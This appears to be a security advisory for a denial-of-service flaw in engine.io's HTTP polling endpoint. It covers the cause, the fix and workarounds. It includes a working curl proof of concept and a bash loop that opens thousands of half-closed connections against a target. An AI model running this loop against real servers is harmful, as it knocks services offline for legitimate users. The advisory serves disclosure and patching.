CVE-2026-59725: engine.io Polling Transport Connection Exhaustion (DoS)
An unauthenticated attacker can exhaust all server-side HTTP connections in Socket.IO servers by repeatedly sending malformed binary POST requests to the Engine.IO polling endpoint, because the server
The problem
Engine.IO versions >= 4.1.0 and < 6.6.7 expose an HTTP long-polling endpoint that handles EIO=4 binary POST requests. When a POST arrives with `Content-Type: application/octet-stream` carrying an invalid binary body, the server internally calls its error handler but never writes or closes the HTTP response.
The underlying TCP socket therefore stays open indefinitely. An attacker who repeats this across many sessions can exhaust file descriptors, sockets, or connection-table slots, producing a full denial of service for legitimate clients.
Proof of concept
A working proof-of-concept for CVE-2026-59725 in engine.io, with the exact payload below.
# Step 1: open a polling session and grab the sid
curl -s 'http://target/socket.io/?EIO=4&transport=polling'
# => returns JSON with "sid":"<SID>"
# Step 2: send an invalid binary POST (repeat in a tight loop to exhaust connections)
curl -s -X POST \
'http://target/socket.io/?EIO=4&transport=polling&sid=<SID>' \
-H 'Content-Type: application/octet-stream' \
--data-binary $'\x00\x01\x02\x03' &
# Automating exhaustion (bash)
for i in $(seq 1 5000); do
SID=$(curl -s 'http://target/socket.io/?EIO=4&transport=polling' | grep -oP '(?<="sid":")[^"]+');
curl -s -X POST \
"http://target/socket.io/?EIO=4&transport=polling&sid=$SID" \
-H 'Content-Type: application/octet-stream' \
--data-binary $'\x00\x01\x02\x03' &
doneIn the vulnerable code path inside `lib/transports/polling.ts`, when the server detects an invalid binary body on an EIO=4 POST (`isBinary === true` but the payload fails decoding), it calls `this.onError('bad request')` and returns early, but never calls `res.end()` or destroys the socket.
The HTTP response therefore remains in a half-open state, keeping the underlying TCP connection alive and consuming a file descriptor.
The fix in commit `fc11285e` adds an explicit `res.end()` (and equivalent socket cleanup) in the binary-POST error branch, so the connection is immediately released. CWE-400 (Improper Resource Shutdown or Release) is the root cause: resources are allocated on every request but not freed on this specific error path.
The fix
Upgrade to `engine.io >= 6.6.7` (`npm install engine.io@^6.6.7`). If you use Socket.IO, upgrade to the Socket.IO release that pulls in engine.io 6.6.7 or later.
If an immediate upgrade is not possible: block polling POST requests with `Content-Type: application/octet-stream` at your reverse proxy or WAF, or disable HTTP long-polling entirely with `transports: ['websocket']` in your Socket.IO server config.
Related research
- highaxios Node HTTP Adapter Prototype Pollution Proxy Hijack via Interceptor Config Cloning
- high · 7.7CVE-2026-61835CVE-2026-61835: Directus SSRF Protection Bypass via 0.0.0.0 in File Import
- high · 7.5CVE-2026-13311CVE-2026-13311: shell-quote Quadratic Complexity DoS in parse()
- high · 7.5CVE-2026-59874CVE-2026-59874: node-tar Infinite Loop via Negative Base-256 Entry Size